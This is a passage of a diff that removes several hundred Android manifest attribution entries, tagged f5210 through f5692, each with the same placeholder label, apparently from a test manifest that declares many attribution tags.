-  <attribution android:tag="f5210" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5211" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5212" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5213" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5214" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5215" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5216" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5217" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5218" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5219" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5220" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5221" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5222" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5223" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5224" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5225" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5226" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5227" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5228" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5229" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5230" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5231" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5232" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5233" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5234" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5235" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5236" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5237" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5238" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5239" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5240" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5241" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5242" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5243" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5244" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5245" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5246" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5247" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5248" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5249" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5250" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5251" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5252" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5253" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5254" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5255" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5256" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5257" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5258" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5259" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5260" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5261" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5262" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5263" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5264" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5265" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5266" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5267" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5268" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5269" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5270" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5271" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5272" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5273" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5274" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5275" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5276" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5277" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5278" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5279" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5280" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5281" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5282" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5283" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5284" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5285" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5286" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5287" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5288" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5289" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5290" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5291" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5292" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5293" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5294" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5295" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5296" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5297" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5298" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5299" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5300" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5301" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5302" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5303" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5304" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5305" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5306" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5307" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5308" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5309" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5310" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5311" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5312" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5313" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5314" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5315" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5316" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5317" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5318" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5319" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5320" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5321" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5322" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5323" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5324" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5325" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5326" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5327" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5328" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5329" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5330" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5331" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5332" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5333" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5334" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5335" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5336" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5337" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5338" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5339" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5340" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5341" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5342" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5343" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5344" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5345" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5346" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5347" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5348" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5349" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5350" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5351" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5352" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5353" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5354" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5355" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5356" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5357" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5358" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5359" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5360" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5361" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5362" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5363" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5364" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5365" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5366" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5367" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5368" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5369" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5370" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5371" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5372" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5373" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5374" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5375" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5376" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5377" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5378" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5379" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5380" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5381" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5382" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5383" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5384" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5385" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5386" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5387" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5388" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5389" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5390" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5391" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5392" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5393" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5394" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5395" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5396" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5397" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5398" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5399" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5400" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5401" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5402" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5403" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5404" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5405" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5406" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5407" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5408" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5409" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5410" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5411" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5412" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5413" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5414" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5415" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5416" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5417" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5418" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5419" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5420" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5421" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5422" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5423" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5424" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5425" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5426" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5427" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5428" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5429" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5430" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5431" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5432" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5433" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5434" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5435" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5436" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5437" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5438" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5439" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5440" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5441" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5442" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5443" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5444" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5445" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5446" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5447" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5448" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5449" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5450" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5451" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5452" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5453" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5454" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5455" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5456" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5457" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5458" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5459" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5460" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5461" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5462" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5463" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5464" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5465" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5466" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5467" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5468" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5469" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5470" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5471" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5472" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5473" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5474" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5475" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5476" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5477" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5478" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5479" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5480" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5481" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5482" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5483" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5484" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5485" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5486" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5487" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5488" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5489" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5490" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5491" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5492" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5493" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5494" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5495" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5496" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5497" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5498" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5499" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5500" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5501" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5502" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5503" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5504" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5505" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5506" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5507" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5508" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5509" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5510" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5511" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5512" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5513" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5514" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5515" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5516" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5517" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5518" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5519" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5520" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5521" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5522" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5523" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5524" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5525" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5526" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5527" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5528" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5529" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5530" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5531" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5532" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5533" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5534" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5535" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5536" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5537" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5538" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5539" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5540" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5541" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5542" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5543" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5544" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5545" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5546" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5547" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5548" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5549" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5550" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5551" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5552" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5553" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5554" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5555" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5556" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5557" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5558" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5559" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5560" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5561" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5562" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5563" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5564" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5565" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5566" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5567" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5568" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5569" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5570" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5571" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5572" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5573" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5574" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5575" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5576" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5577" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5578" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5579" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5580" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5581" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5582" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5583" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5584" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5585" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5586" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5587" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5588" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5589" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5590" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5591" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5592" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5593" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5594" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5595" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5596" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5597" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5598" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5599" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5600" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5601" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5602" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5603" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5604" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5605" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5606" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5607" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5608" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5609" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5610" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5611" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5612" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5613" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5614" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5615" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5616" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5617" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5618" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5619" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5620" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5621" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5622" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5623" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5624" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5625" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5626" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5627" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5628" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5629" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5630" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5631" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5632" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5633" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5634" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5635" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5636" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5637" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5638" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5639" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5640" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5641" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5642" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5643" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5644" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5645" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5646" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5647" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5648" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5649" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5650" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5651" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5652" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5653" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5654" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5655" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5656" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5657" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5658" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5659" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5660" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5661" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5662" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5663" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5664" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5665" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5666" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5667" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5668" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5669" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5670" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5671" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5672" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5673" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5674" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5675" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5676" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5677" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5678" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5679" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5680" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5681" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5682" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5683" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5684" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5685" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5686" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5687" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5688" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5689" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5690" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5691" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5692" android:label="@string/dummyLabel" />
